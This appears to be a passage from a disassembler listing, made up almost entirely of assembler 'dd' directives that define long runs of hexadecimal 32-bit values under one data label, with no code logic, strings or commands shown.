0F67B6400h, 0DAEBF039h dd 0D2D100FAh, 13F72DB6h, 0A5008FFDh, 0D3C4606Fh, 7DFE110Dh dd 9E010769h, 702FC99Bh, 0C5A73904h, 0FD446100h, 2218C768h dd 0CC63009Eh, 47EA1A6Bh, 0F40E0108h, 60F2BD79h, 15F91CAFh dd 4D6F04B5h, 0C1A5569Ch dword_525048 dd 205D5050h, 0EE001836h, 786820FFh, 0F2F794h, 63652EB5h dd 2997B85Fh, 0CC21EE00h, 0E093A1F1h, 5596000Bh, 0B86E142Eh dd 0C700BF76h, 0F839C02Ah, 0CCE9C8Eh, 8CE8AB98h, 0C13AF638h dd 8F8B00EFh, 9443733Ch, 0B96630DDh, 0F1177C58h, 483F1C0Bh dd 8E9A03C2h, 0C0DF80A2h, 0E30B0005h, 737EC16Bh, 3217963Eh dd 0B6054BBAh, 5581D764h, 9F031E3h, 886C0108h, 0B89BB4ADh dd 7B19800Ah, 361BB999h, 24420063h, 0AF3FA9D0h, 0E30A5259h dd 802F4607h, 69328583h, 60DDAA43h, 0F88B2095h, 1C511E46h dd 1D4BCE1Ah, 0AAF46880h, 0E0E289AFh, 9DC7B00h, 2566EDA8h dd 65778C3h, 0BD470E16h, 0D400605Bh, 2726EBB0h, 3A42251Dh dd 4D80AD7Ch, 30A1D752h, 81026457h, 39096CB2h, 5D0495B4h dd 0F382CE00h, 2E6611E3h, 7CE9AEh, 5D72AD20h, 5007FA28h dd 1EB90C3Bh, 1683F3B7h, 0A0E7C3B5h, 3EE305C8h, 0E5007CDCh dd 21DF61EFh, 6230F237h, 0E4F656ACh, 0AE143ACCh, 80FD881Ch dd 2070EAB2h, 0CDE2D687h, 0C10011F8h, 66A37603h, 131BBF3h dd 0A7FA2B77h, 7F0AE9DAh, 698A9080h, 0B854604Ch, 7B95AC1Ch dd 0DA853B00h, 26A3E247h, 67E900A4h, 0FBC069C4h, 2F0C27DFh dd 287A5BBAh, 0C47044D6h, 4474C544h, 0AA62D565h, 2259E251h dd 0F822D8EBh, 0C982234Eh, 43E2921h, 4668E0Dh, 4344480Ch dd 422A48CDh, 30258FAAh, 0C01C2802h, 21E60444h, 0E41275BFh dd 0B7B1481h, 0A4720346h, 0A1FDD546h, 3264A822h, 8E51C1FBh dd 8BDE7883h, 507C5128h, 42CFDB22h, 0D06572FAh, 14042051h dd 7644B92Eh, 84050073h, 0F8201DDh, 3DC1497h, 6C2A8D60h dd 0ED0013D7h, 0E8D81FF1h, 792D509Bh, 92360787h, 509651A1h dd 0E6FFD7E1h, 0F42FB300h, 0D0E7675h, 0AFFA030Ch, 91079352h dd 0DAE88BE0h, 0FFE73500h, 147FA81Dh, 0FBE53E56h, 8E9C0700h dd 7465B650h, 697EA500h, 9046E6B4h, 0C2A10E06h, 0AA6079EDh dd 0EC65D91Eh, 760971Eh, 2C19E1FAh, 9FCD5B8Ah, 392E43CCh dd 90003BA6h, 5BBE2A7h, 680F9EFFh, 0A7756357h, 7EE02435h dd 6F67F9h, 469761F0h, 0D45A5B29h, 6D6A8B1Dh, 0CEADA607h dd 67864E71h, 109CC03Eh, 0F401FDE3h, 7FD04C41h, 70803F17h dd 91C2702Ch, 400C4A7h, 78DA5535h, 772431h, 1FA8288Ch dd 755BC36Ah, 782CBF3Bh, 395F9D00h, 231D6CC1h, 150F0394h dd 0FEE67B51h, 321E74B8h, 0E53FCD00h, 77A1B81Fh, 0CE41003Bh dd 30CB18C0h, 8800F31Ch, 9C35A8E8h, 0A780F9h, 48D562BCh dd 5C5357E6h, 43ECBE00h, 0D715B25Bh, 0E87D0746h, 45B56B9Fh dd 53B0C0E4h, 0D00964Eh, 0B2AE87E3h, 752078Eh, 82F84989h dd 90486009h, 370088ACh, 54B9D084h, 7D39DF4h, 46743CA2h dd 358DE093h, 0F1005325h, 9216A1E5h, 0E2E308h, 82EA8961h dd 3F07FCECh, 4AF34600h, 0C6DBC465h, 0F188054Ch, 4E22EDh dd 0CD1D6B9Eh, 0C700E2F8h, 0C4E6A1A6h, 1CB0F2C0h, 0EEADF4h dd 0C6CAE858h, 0DF0177EAh, 8192B101h, 0A6C43265h, 958A002Dh dd 7006D3A5h, 9247BCEh, 1600449Fh, 0BC7EC63Eh, 0CBF70019h dd 0A4EA6583h, 34493D78h, 30E2300Ch, 5C29AAh, 0AE3273E9h dd 5B19530h, 0F2E65900h, 8C920F57h, 4BA9008Ah, 0D6AFDBB0h dd 0FE0A4299h, 0F48F8E63h, 0E0BA1702h, 0BE4040D7h, 9D3A3ED2h dd 724B8780h, 74C18047h, 4A006D74h, 0BEFE225Bh, 0F091F8h dd 1D4DA241h, 0A3715C52h, 42E95100h, 119BCF54h, 4348D5h dd 0D2A54B00h, 0AD1AF2EBh, 5C05D800h, 0DB23E763h, 3D740692h dd 6009A232h, 0ED52DA06h, 60A05B6Eh, 0AD64401Ah, 0BB3E3F0Eh dd 0BA1F001Dh, 0B1EE2A99h, 0D38A1C84h, 629DC0D2h, 0DBC6E6FBh dd 0FE492E12h, 40A5900Fh, 6AB064F7h, 960900C5h, 6EBD61C4h dd 0B4003C78h, 5CDB1588h, 4D3E6h, 7C7FF138h, 0A37A2734h dd 643BAC00h, 0A5FAC1A8h, 51030E94h, 6720704Fh, 0C3B478DEh dd 60718F00h, 0EBE97AA8h, 0CFE400FDh, 0FF61F73Bh, 0D94C2715h dd 65B50378h, 0E04FAB02h, 0BFC87E5h, 301F07BAh, 0CB1CF176h dd 3E6DE840h, 34B75F9h, 0B1CDF1B5h, 24C0B8D9h, 5507EACAh dd 0FA789ACh, 0F3AAC4C0h, 1A4E0084h, 0A6A1D5F9h, 900B770h dd 95D35B36h, 7E5F702h, 45F9C057h, 277BE046h, 65055423h dd 0D3C98906h, 0EE12F0h, 7A88F5B4h, 0A3D73B72h, 441C0C1Eh dd 8EA57380h, 0B3EF71h, 860FD043h, 1CB6BAB8h, 0BE651402h dd 40E1D4EAh, 78C544h, 0FA8A5DA9h, 0DCFD76F9h, 3130F003h dd 982DACD8h, 0E4496C03h, 0D2793FF5h, 730D2480h, 0CA250F4Fh dd 47E2BA06h, 103DB6h, 0AF7CA51Bh, 532F3624h, 9DDEFA00h dd 4282D64Ah, 9E7F886h, 0C03F5125h, 0D7AD05h, 769CBCC4h dd 15009B45h, 34B83C50h, 0B0ED62FDh, 43AB80D9h, 2B7100FEh dd 1F8E5E8h, 15008EE1h, 55E3F1F7h, 4E7C09h, 8CAFED68h dd 0CD67F433h, 7435C4A0h, 0C94C9650h, 9B87A800h, 0C5853CF6h dd 1958005Ah, 7BE6A0F9h, 1DF847B4h, 4E429E00h, 0D0AD17CAh dd 1823000Bh, 87D61AFDh, 403A35Ah, 1059C6E2h, 7B91A00Dh dd 708A00C2h, 0C0B6E01Fh, 0BB0071CDh, 0C6FDD3ACh, 63939Ah dd 306994Ah, 17297969h, 7F008575h, 0D736B896h, 7E2C85Bh dd 5CF6B1Eh, 0EBD0152h, 0DCEEE087h, 6DB4FA00h, 1A7968C0h dd 0F2E67F34h, 0C835014Ch, 80CE8876h, 9A6DDC65h, 39EA8D05h dd 7FC0AF24h, 1DACD1F1h, 0C0F250E4h, 64D2FD02h, 0F60EB8DEh dd 40CB3A88h, 76D59D36h, 7CB90222h, 431C1759h, 901F8280h dd 9A00AFE2h, 0A0F593B5h, 146E5155h, 0DCC6F3B9h, 5B090070h dd 0C4683F91h, 17001C98h, 46611F41h, 71D07B9h, 0FF2242D2h dd 0BCADC0FDh, 70009ADCh, 0AE5FEC3Eh, 2AAAB75h, 59EA0C48h dd 20E2E8D6h, 5839DC00h, 1C17D1DAh, 0BB41A5h, 0CE9EC1D9h dd 0B30F8384h, 20DD8FE7h, 0F2C303EAh, 0D35A0ED5h, 9D40D705h dd 417D6F1h, 4A0F6378h, 60E8B9F7h, 0DC35B3E5h, 0EC70249Fh dd 1723C48h, 0BEBDB5C6h, 0FC6A4B33h, 0DEEF7A0h, 0FF852900h dd 4D89A8C7h, 9A83F36Ch, 0F29D6F1Ah, 2E7D4F0h, 0FAC06B00h dd 8EFD6ABEh, 712C00FFh, 58DDDC1Eh, 0F800AD72h, 484C9747h dd 72CEDED8h, 6C1F00D5h, 190CCB02h, 0A700732Fh, 1E8C5DDCh dd 120DD111h, 32F103h, 0F8B165B5h, 4A615063h, 0E79A9D50h dd 2929BDCh, 0A620C9C5h, 196096F6h, 2A04EA91h, 8828C386h dd 10C4DBC1h, 1385660h, 0D55A2624h, 0CCDA83E5h, 7C004366h dd 9408028Bh, 0FBFBDDDh, 1D74F9EBh, 0FF478CC0h, 7800FD42h dd 8C67079h, 0F8363727h, 8CE000FEh, 2031FF0Fh, 0E3005A34h dd 4643B865h, 0DBF5EDh, 0C3E0C2EBh, 3A99BD08h, 0E2C4EE00h dd 30917E29h, 0C23C0ED2h, 6440525Dh, 0B07FD11Fh, 56C63303h dd 0B03815CBh, 0C9E193h, 8721B4BCh, 1BA34DB1h, 0B85CD00h dd 4A7F562h, 9290064h, 0EE8E6BD0h, 0E00242D5h, 0AC1C8995h dd 0FBD960B3h, 61080017h, 90198ED7h, 1D00E8AAh, 7EEE521Bh dd 12A3CCh, 0D8F5A805h, 48B82274h, 307CF300h, 0B4F979EFh dd 98150B7Bh, 8E006EA0h, 55F0592Bh, 41CFA600h, 0E3602A6Fh dd 963800BFh, 4F56A966h, 0F17815ABh, 2FB48C00h, 0F07964F2h dd 75A5004Dh, 0D48D825Ah, 3000D207h, 0AB135D2Eh, 0AE522Fh dd 547BEC90h, 0A37CFDA1h, 0B5FC8C0Eh, 17DBE773h, 0D0EC59B3h dd 0E293F8h, 144E57Dh, 0B903B83Dh, 45FA6300h, 9AE3F3Eh dd 10909Bh, 0F7A76B46h dd 0E9EEA02h, 347F6492h, 0F461AB07h, 592049FCh, 0BE6716h dd 7D0812B9h, 285AE5C7h, 1E6F803h, 0FAF2C552h, 0CDA88095h dd 1F4FA1CEh, 80DE9DBAh, 4B4C639h, 5D588E55h, 1007975h dd 5BE6762Eh, 0E840F3A2h, 0AA73009Ah, 258A819Ch, 0F0C0970Ah dd 78633F84h, 0D68E01F9h, 0E0C56CAAh, 64AD301Ah, 0FD2B5501h dd 0CC93E1BBh, 0E63389F8h, 50FEDEh, 912F204Ch, 2D172609h dd 5FC64607h, 7AF57EFDh, 8E1AE400h, 620364h, 9E9DBD94h dd 0E9485955h, 8043373Ah, 5BF28E7Eh, 0CA985EBh, 0F9D217EEh dd 52482678h, 71890369h, 98E83A9Ah, 0A563016h, 0BA597751h dd 87850084h, 26F99480h, 6611A000h, 283C0CB7h, 887383h dd 0EDB3F5E7h, 0AE7D80A8h, 5C821A07h, 4B76E0E5h, 5BE07FAh dd 0B0D33899h, 0CAF141DEh, 8B8F550h, 1CB37624h, 0E2AF4580h dd 4AE629A4h, 44EBC18h, 0C01A9637h, 522D36C0h, 4DEC005Eh dd 9AD7F755h, 0A71E7607h, 0BC00E27h, 0E6204E95h, 0D1AE03F6h dd 0F80DA6DBh, 0A8E35688h, 5F02E10Eh, 0BC0640CEh, 0EC55B2h dd 7D944559h, 6B05618Ch, 95FF58C5h, 7BB50F80h, 1ABE062h dd 0DD0F02D7h, 30EA4A64h, 58264E64h, 6D00A8C8h, 904B30B6h dd 425A39C6h, 91736900h, 18965E33h, 8002AF3Eh, 0E52AAE82h dd 698E6Fh, 3613B1ABh, 70A481F2h, 5DD01500h, 8C53E5BDh dd 8E6C0064h, 0B0EE5E77h, 6800C918h, 0DC0BBA3Bh, 0BF66DA6h dd 32933A9Eh, 0D688B301h, 2486D95Ah, 2EC07C60h, 0F4300D29h dd 45FD008Ch, 3E7AF8A6h, 351FB2D8h, 6646AC89h, 2270E23Ah dd 0DE006BE1h, 0A8DD09B2h, 6F48BAh, 47D4085Dh, 5A98DBC4h dd 0AE819B00h, 168E6A35h, 7E0D007Bh, 0E028590Ah, 0F900AA89h dd 2623A527h, 937308Ah, 7512DD5Fh, 0C0EE8000h, 8D48C713h dd 56990071h, 38060EE7h, 9717959h, 0DA7D5805h, 96AF85h dd 5ED5C4ACh, 0D000801Eh, 87CD2909h, 2EFEE3C3h, 0A2CCB2h dd 0D2C0DBFCh, 922C8340h, 0E10EFF31h, 0ADF120AAh, 1FEF4BEh dd 99BB3A5Ch, 807A5B72h, 897DF588h, 3D2B178h, 5F8F1C8Bh dd 92880D7Ch, 0AE001858h, 1795A996h, 1A47035h, 27FDC6BCh dd 20DCEB8Ch, 10F7688h, 0C3FEA125h, 1913D6h, 43F7CEB0h dd 0F6640515h, 5128E21Fh, 10710ACh, 0DD92360Ch, 0E1425753h dd 0BDCCB000h, 6700E532h, 37C7D85Dh, 1CF43523h, 40496403h dd 1AF3095Ch, 5500F556h, 4E86789Eh, 24A4DEh, 99120F9Bh dd 6C4B454Fh, 0E584AA00h, 689247DDh, 5C9B0626h, 8010E611h dd 0CDF87700h, 739362B4h, 0E3F07FC9h, 0F14A20h, 1E298D13h dd 0B3A8BAC5h, 0ED0F8F00h, 8291B0F4h, 946700DCh, 0F113A396h dd 34705DD4h, 0AFA440E1h, 8304D646h, 0A4BC098Ch, 247028C0h dd 7CCC3FFFh, 0EFED3407h, 777F20FCh, 110CBB8Eh, 40A055EEh dd 5D8C009Fh, 0E8D1F2D0h, 0E1A0788Ah, 4200C1E7h, 0BA38B6EAh dd 0E5B505h, 0B41E4384h, 0BFF981CBh, 67223B00h, 0F51D8A0Ch dd 87710093h, 7D5F8E64h, 0C600A466h, 7EB1E886h, 0A0E1ABD9h dd 900B16C0h, 80AE0054h, 0BB2622A5h, 0B90FDD78h, 7C86E39Ah dd 0A7076309h, 0AB50CEFCh, 0EF49126h, 0AE96A98Eh, 0A6BC05h dd 0CF506CDCh, 84AB5E34h, 0FEACE209h, 0CCAE008Ah, 0A1F9CA21h dd 6E002B8h, 0D4415819h, 2497FD14h, 52770DC0h, 1A0083ABh dd 8AC581D1h, 60E2F38Ch, 0A58D8896h, 1360E72Ah, 8924A140h dd 7CEA0044h, 0F8A2B227h, 67009A99h, 64E1F112h, 7802F635h dd 76F20050h, 0FD51A2BBh, 0EF0063A0h, 0CB7A7D86h, 3E48E134h dd 780060D5h, 0F8DEB7E4h, 0CEC1FF5h, 0B5569400h, 0C03F6BDBh dd 0A1050070h, 2E8FF16Ah, 1700FFABh, 0DF38B5EEh, 258163B0h dd 0C8FE05B6h, 6DD89A00h, 0FE2382AEh, 0D49203E2h, 3BA44E73h dd 0B9CAFB0h, 0E1D5E900h, 0E230AD99h, 0EE7D031Dh, 578BF4C9h dd 1C6177B8h, 58FFA100h, 92F2ADA5h, 0B1E2E7h, 0C4BB5501h dd 518AA3D8h, 22361200h, 0CAAFA4EFh, 507686h, 81B91F09h dd 7AE8AD49h, 56014803h, 0A8A237D3h, 0E0677021h, 3B2500C5h dd 0A5DC6FD4h, 0EB004658h, 0F44120C1h, 6CBC30h, 591B692Dh dd 0E2DCFFB5h, 0AF420B00h, 555027B1h, 452A0160h, 1E7EEDE0h dd 0DFC7CF2Eh, 0DBFE4E80h, 61006B09h, 0F5133FECh, 383E1DE7h dd 9400DF88h, 58AE73A7h, 47000866h, 5DCA48F8h, 143881Ch dd 0A61683EAh, 0E9E5F142h, 7ECBD489h, 3D5D0E00h, 9B83ADAh dd 0B2320087h, 965F4406h, 0B6766F8Bh, 54B7D107h, 1F52F111h dd 0ED9380D3h, 4C3D8Ah, 0EE90B829h, 0C631BC8Bh, 0CAF06E00h dd 0A4FC6F7Fh, 0BD570080h, 0BCF1DBE2h, 461C23DDh, 387256h dd 9706F4A5h, 0CEA018h, 929CE34Ch, 0D63C3A86h, 0BE1390FEh dd 0F800857Dh, 5B20850h, 191C60DCh, 0AFD9BA48h, 3A649803h dd 0B24D6F46h, 0ABF2E04Ah, 6EA100B4h, 7C153191h, 12033C47h dd 72B168C8h, 4DB118E5h, 0C6A1E179h, 540FD4C0h, 0C292F1A0h dd 24FBF5C0h, 6DA5DD80h, 613E6E98h, 0AB37027Ch, 431B9760h dd 7629A95Ch, 6279270h, 0C998E80Fh, 0B200782Eh, 7975CA83h dd 3B92C087h, 69BC3818h, 0ACBAF301h, 0D4674A9Ch, 0CE1FE117h dd 98B0B9B4h, 0A8C2877Fh, 0FEB85D88h, 0DBE00D3h, 0A085FB2Ah dd 592A6910h, 0E40284BFh, 0A7F1A3D6h, 8BBCA0FFh, 16E669h dd 8D5726D2h, 0C7D0D943h, 7FCCC32Eh, 27E54706h, 12290258h dd 9659C8D1h, 30E032F8h, 9394AF07h, 3AC0410Ch, 0C9531Dh dd 0E9F579Ah, 8DA7814Ch, 31DDA8C0h, 1DAFED6Ah, 9ED74956h dd 0E6C40D88h, 36B02E98h, 0ADBF008Eh, 0ED39E461h, 0C200A7A1h dd 811F8FE6h, 318AF6h, 7C6D337Eh, 0F72378B2h, 1B344D00h dd 8D0AE5E1h, 807EE115h, 36F1B44Ch, 0EE49FF01h, 30E3A01Ah dd 17FE4FE0h, 0B8DD449Dh, 0E0850FBBh, 18DEC312h, 0E4C198EFh dd 0E95D002Ah, 0EE944423h, 167E5169h, 0F7763E00h, 7195DAFBh dd 0FD1700A9h, 9A91C190h, 5D00A2DEh, 7559994h, 82D3Dh dd 52A74420h, 0B5A0AB2h, 994AF200h, 0F6C8653Eh, 0D486091Ch dd 0A000A8C0h, 6278C3B6h, 3996381Fh, 0F51100F8h, 8E35D8E5h dd 65C80090h, 0C59DBE4h, 98030E39h, 0C7CF9A70h, 5E45A027h dd 71973E17h, 0F7A293h, 685F5C02h, 0D8E61D42h, 0B53D9400h dd 24A99A73h, 0EC2500B6h, 707A1FE9h, 28005219h, 49EDF49h dd 72777FCh, 12B2F52Ch, 30AE30B9h, 6F0049E8h, 78F7F83Ch dd 0E48A6F1h, 35C010A7h, 4BBDA800h, 48924E92h, 7D50F401h dd 4EA5E0Ch, 3C2A67FCh, 0C9803E41h, 1D686AADh, 360E3742h dd 0E06C733Fh, 0CAB94728h, 0AFDC0067h, 0BD40EF62h, 4E0165FCh dd 1AECE33Fh, 38D047BEh, 82560022h, 3A1D3577h, 120ED47Ch dd 0C0750EF4h, 64313B8h, 30A70070h, 290C3BD7h, 0AFECBEE0h dd 97981200h, 0D817D283h, 9A680006h, 0A7149B64h, 7414FCEDh dd 17D290AFh, 0EBA66CAh, 36603320h, 79516B8Ah, 13789579h dd 0E40B0403h, 0F0859425h, 0E7A4F2h, 0E116CADFh, 1806D3CBh dd 5E24D900h, 9FDBC483h, 0EE5D1C30h, 6F873BABh, 0E1EDA17Eh dd 0DA949B28h, 0DC3B54E0h, 0DE9DBE00h, 861D0BA7h, 0A85950F6h dd 3AB7F5Ch, 7002D633h, 890AF11h, 52006465h, 0CB50224Fh dd 0F2E6E3Eh, 35733197h, 327DAC21h, 3AAAE05Fh, 0A11FB771h dd 17C25D64h, 11DD48Bh, 81B7074h, 0FC4C0FFEh, 3ED8978Ah dd 7C0005E9h, 225EB018h, 4991A8Dh, 0A45A4B13h, 0A9688017h dd 1020351h, 7C481569h dd 0F03F40D2h, 4834FFF4h, 0CC6D016Ah, 0BEF1B965h, 76407023h dd 0D043E700h, 78A909B6h, 18152C79h, 81803910h, 4FA556Dh dd 80054FDFh, 0BC0D98E5h, 0C02B9580h, 4DEE1C61h, 41E24015h dd 509A8E1Ah, 0DD007A74h, 976ACF85h, 936F9Eh, 21C173DEh dd 0F25AF44Bh, 1003C426h, 30028F00h, 0C03C3562h, 44F07610h dd 0EC0426FDh, 0C4A38B6Eh, 0AC0A58D0h, 86200943h, 0CC80AEB9h dd 8F24B4C5h, 0BB3A5E28h, 94218B24h, 42475600h, 0F6D2DFEh dd 7447AE6h, 0E3176FE0h, 311604E4h, 9D00DF7Bh, 11EC90CCh dd 0C95C0932h, 5C000BBAh, 72F69ABDh, 0DDBF4B0Ch, 0C049801h dd 46FA32E1h, 0BD002A04h, 0BC528833h, 26230CE6h, 501242h dd 0D7C421D9h, 6707C641h, 8185CA8Bh, 808D27B0h, 8A010094h dd 0E42DD22Eh, 0D73E25C9h, 217D0ECDh, 0C222C074h, 384E391Ah dd 0F8843AB3h, 81901876h, 0E02D6440h, 0B0BEF32h, 108EA3BFh dd 4333DCh, 0C638F7FAh, 0DB976431h, 0C5814100h, 0AB7C76CBh dd 9FF000B6h, 0FABC5F48h, 0BA601C8Dh, 6C69F1B1h, 8EA93D9Ch dd 0FD02B600h, 95AFFAF6h, 1900E373h, 15C7FBC2h, 160D626Ch dd 3AC451Fh, 0A683CE8h, 26E11288h, 9202FA01h, 8F108E90h dd 851CB085h, 4F48D0C0h, 0B02C4715h, 0CB012221h, 0A3B620A4h dd 2E7A7860h, 2A2D7h, 0DC3E7DD2h, 0D5FC9B0Fh, 0DEB24C07h dd 27609A30h, 0B13C870h, 0E4E2E540h, 0D9EAC402h, 9DDC9840h dd 0C0AD5C01h, 8E439876h, 0DF838C45h, 52D7C075h, 73F77ACh dd 7692E04Bh, 8358F4B6h, 61E0B79Ch, 1500E8F5h, 2618E624h dd 8FC90Ah, 0EB2ADF60h, 0B28DF81Bh, 0ACFF5F00h, 9D7F67FAh dd 663300FCh, 326BAF49h, 340025A5h, 0CFA74371h, 0E91EE3h dd 4103F889h, 0BC6C1195h, 0D0B4F100h, 7E2D3F9h, 8EED01E3h dd 0EB6FFA54h, 558BE032h, 60AC2B03h, 0C092E885h, 0FD822CEh dd 64E6874Eh, 0D721F900h, 34008E4Bh, 543F4644h, 7505181h dd 3E5CE8B7h, 12006F4Fh, 2A9D17DAh, 0BA747A38h, 5C65055Fh dd 0F0CB3220h, 39A16400h, 0FEEBF4E9h, 0E13DE02h, 0E8DC1B05h dd 0F770750h, 8AD64C40h, 539484C0h, 48E699D2h, 0D93A041Fh dd 0C9DE51C0h, 1F5A21h, 3D9DF94Ch, 431A0F2Ch, 9619E200h dd 0DFF6BE65h, 30DD006Ch, 45D6D0ABh, 8B014A71h, 0E32F0210h dd 2470DF1Bh, 7779007Ah, 207FD623h, 0A37A2D56h, 0D4D4907h dd 12F05295h, 3A8B1030h, 0FC800572h, 81457D88h, 7F1EFE02h dd 9180AC08h, 637659B3h, 60F0EA6h, 19E3C48h, 0AE85CDE3h dd 8040E647h, 7300E971h, 3F0E2C1Fh, 7D8120h, 15134179h dd 429C295Bh, 897AEA00h, 0A08D0EECh, 0D52500C5h, 96AFBC85h dd 5E009297h, 118287D0h, 5C900D19h, 9C0128F5h, 0CDA4408h dd 5860CEB3h, 2C00064Bh, 17E296CEh, 0CFF8B4h, 0DEB319FAh dd 0F0F6692Ah, 2503B504h, 50802F33h, 26DC136Ch, 0EEC55BFh dd 31C0FB98h, 908B0BBh, 96EF8000h, 36043E72h, 2CAD7786h dd 0A3D0583h, 4A7A8E9h, 806512A0h, 4FBCF888h, 0CEA21000h dd 4DBB6998h, 40B1005Fh, 0EC9D6195h, 0CA1F5719h, 2F00521Ah dd 0C66DB99h, 4BC20046h, 93D69E5Eh, 0C8007845h, 5537BA4Dh dd 0E4771B0h, 7CBE2E40h, 0CB6832A0h, 4B58248Dh, 3C370138h dd 3A42C2ECh, 3C20CDDDh, 0A80B01E0h, 487D1939h, 0AF342492h dd 2E67FD18h, 79F539h, 546A3519h, 69255B87h, 80886438h dd 0ECDA927Ah, 0A9B55596h, 9870FAACh, 17E626E3h, 1C200E0h dd 5E5C872Eh, 0F99A5800h, 45A33FB1h, 0E4DE788Ch, 24E6F6C7h dd 0BCE976h, 0DCAD1E1Bh, 74008DC8h, 0FA27256Bh, 16149E5Dh dd 0EB5ECDh, 2BC2F852h, 8DEC44D4h, 0DC2A1100h, 8FCFC3A9h dd 0C8050F0Fh, 0D403A533h, 0C9804D47h, 29E6A331h, 6EF7B803h dd 0D8198CEFh, 0EB6307Ah, 0F85C9BE1h, 0A3A4C840h, 0A000DDFDh dd 0B3C036B4h, 43880Bh, 0B90668E9h, 0D977D5D8h, 8CFAF00h dd 19105D24h, 9050044h, 6C6BA578h, 9F0068C5h, 0FA8CF74Dh dd 5E46DFh, 0B1348785h, 1E94C2B2h, 0CE78F04h, 0AA423Ch dd 5F81366h, 0B2003507h, 0A9CEB6CCh, 0E7F0494h, 0E40888CBh dd 717C40BFh, 0CDBD1746h, 0D70D3A00h, 8A153B73h, 6B950167h dd 0A556DA50h, 0A2ECE066h, 1E860900h, 0EA6CB5Fh, 50076287h dd 0E0772368h, 7B6225E2h, 2CB900C2h, 3FFE5E37h, 2A002DAAh dd 0D55D4572h, 31BE62Bh, 470AAF10h, 37F82214h, 0E21D64CAh dd 65410CACh, 397C9CB4h, 5CFA34F8h, 62034DD8h, 35041A5Eh dd 339EE398h, 0A73BE618h, 2821FAAEh, 7DA8AF46h, 2B1A0048h dd 5A8A190Dh, 0E6075EB7h, 0EF27C2B8h, 802324F0h, 333F015Ch dd 82A250CEh, 11C08063h, 0AE9BBBAh, 0C7060108h, 65ED0B46h dd 412E849h, 0DCBA1000h, 0F4A794Bh, 0A07170A1h, 0F4806DB0h dd 589BE0E1h, 1900190Eh, 39499C52h, 8B01EDA9h, 385B2431h dd 1C20AB0Dh, 6C2A00F1h, 6B1C0F83h, 0E200ACE6h, 7168B150h dd 0FCDD1Eh, 0B9044B85h, 93A742EFh, 9DB67419h, 0AE70BBE0h dd 0C4240192h, 0A2F55EFDh, 0D39C40CBh, 1E00D18Ah, 0DB35EED4h dd 9903C2h, 372B407Ch, 43448022h, 50A7EC00h, 510C11Bh dd 898A01B9h, 0FC587364h, 0EBF04059h, 0CD00260Eh, 87DFA59Bh dd 0DBE6B0h, 0A7E32ABDh, 31A970ABh, 12455700h, 0E7FED93h dd 0BDCC0017h, 0EAD2183Ah, 9B0327DEh, 7A7CDCB0h, 0AB68006Ch dd 0BCB2BA2Ch, 0A175B701h, 83855400h, 867431F4h, 281338C3h dd 0D8641F81h, 51442E5Dh, 402156FCh, 0FEFB22B4h, 0CD038800h dd 47BB8E97h, 0C5710069h, 6EAC55FDh, 4E09E298h, 4100326h dd 0E087B84Ch, 5B7E5E00h, 0B040023h, 0A6564873h, 440065F6h dd 7F9466E7h, 0A05A0FA8h, 76902FB0h, 0B62E007Ch, 6DA1FA81h dd 0CF486693h, 0AD6B0066h, 0DA8F25CAh, 0FB240091h, 762F803Bh dd 1B2FD3C7h, 38C7DE38h, 906EA80h, 70660D91h, 0B7589E00h dd 0A50A5DE1h, 0D07618A9h, 0A3DD7069h, 796DCB00h, 0D9A42F31h dd 9ADA007Fh, 119BC2D1h, 0D4F85146h, 950601Bh, 0A7F481D9h dd 0A071D0FCh, 0A494E4h, 0B2FED5Dh, 7E51D2C6h, 70CDB9E0h dd 0D001DC2Eh, 0CC70E59Dh, 9564139Ch, 0C3BB0122h, 98F2132Eh dd 87907676h, 0A4D21816h, 4E8A88D4h, 0B8584A00h, 0FA1A6FF8h dd 90D00EADh, 27A119E0h, 48A26ACDh, 3498B768h, 0BA001042h dd 21CAC1A5h, 0AD03B04Eh, 3F56D543h, 88FB9880h, 0FDC205BAh dd 80B5217Ch, 1C363A4Eh, 9C0AD200h, 0C7F10C1Fh, 0C61002ACh dd 0F9A32E04h, 249F7C40h, 3F24407Fh, 3B0000CEh, 6AE0175Ch dd 0C0983Dh, 98D14E78h, 1DF463F2h, 750B8E00h, 47320570h dd 97C5034Ah, 4590E3EEh, 0A18E4000h, 5B4B8BAFh, 0BC2D008Ch dd 9052F17Fh, 880B77EBh, 801CE011h, 0A2453023h, 0D85D0053h dd 9349EFF5h, 813CDB10h, 4AAE9E41h, 803C185Eh, 5BCFFCB6h dd 16B27ACh, 0E6E50AB5h, 0C42B3252h, 0FCFDA330h, 4100851Eh dd 0F1162623h, 1CA2B03Ah, 80B44FBEh, 21ABE69Ch, 0FC1E29A1h dd 39127234h, 0A5AF2442h, 0F920E0F4h, 496670E2h, 0AD059C9Ah dd 41C9AEA3h, 0DDABB5C8h, 0D48A7161h, 0D3001D96h, 255D5E42h dd 9EF0E8h, 2F87CFF9h, 4350FE4Ch, 0DB4F011Dh, 0E1A19441h dd 0BA438E34h, 0FA82D06Eh, 0F65CE45Ah, 9A9800A6h, 0D74ADFC3h dd 0DB0090A4h, 51F9EFA7h, 0E1076Dh, 50E4AA9Eh, 0AF779B44h dd 0DD0B1FB0h, 104BB4BDh, 71689270h, 0A53F095h, 5AEFDC51h dd 2DEB009Ch, 54284BE7h dd 0E637F00h, 0E0D65DE6h, 7E650096h, 0A94C6109h, 62001DB9h dd 4E4D07Dh, 13C4EE46h, 44AD0Fh, 0BA7279B4h, 577CCADDh dd 8109A700h, 8E70E60Ch, 0A4A950F8h, 56BD005Ah, 9E452590h dd 21F63B2Dh, 0CDF20E01h, 6809EAE6h, 142C3900h, 773D092h dd 540F4876h, 0C09FB74Fh, 0D8A1EFCBh, 26747522h, 6EC4F4h dd 3D4B524Ch, 0DD1D1B0Bh, 2BC9DF78h, 67C41093h, 14E20051h dd 0A01EF1DBh, 7E0094ACh, 0EDEA963Fh, 0A1A317h, 0F7220898h dd 0C3256847h, 919BDCEDh, 58CA3A01h, 4E29DCF0h, 0B9BCC8h dd 81312D6Fh, 8E62A287h, 0AC09640Fh, 3B210002h, 0BE6895h dd 534DB652h, 0FF20D9F4h, 0A7451703h, 0C0AF2B3Ch, 7C0BD1B5h dd 891B00EFh, 0BCADAA02h, 30001417h, 0C06BBD85h, 36A617Dh dd 137A566Ch, 49D8488Ch, 4B182D6Dh, 399264Dh, 3CCE00C1h dd 191ED8F8h, 7458B843h, 5C0A0A19h, 0E500941Bh, 0AB510D06h dd 6D300089h, 0AC3C8896h, 71001CFFh, 0EA1328EDh, 6F158CBh dd 0B9C807DDh, 0DB0EB8C9h, 407D14A3h, 6542DEB0h, 4C80030Fh dd 1CDA483h, 43D505C8h, 0E079556Eh, 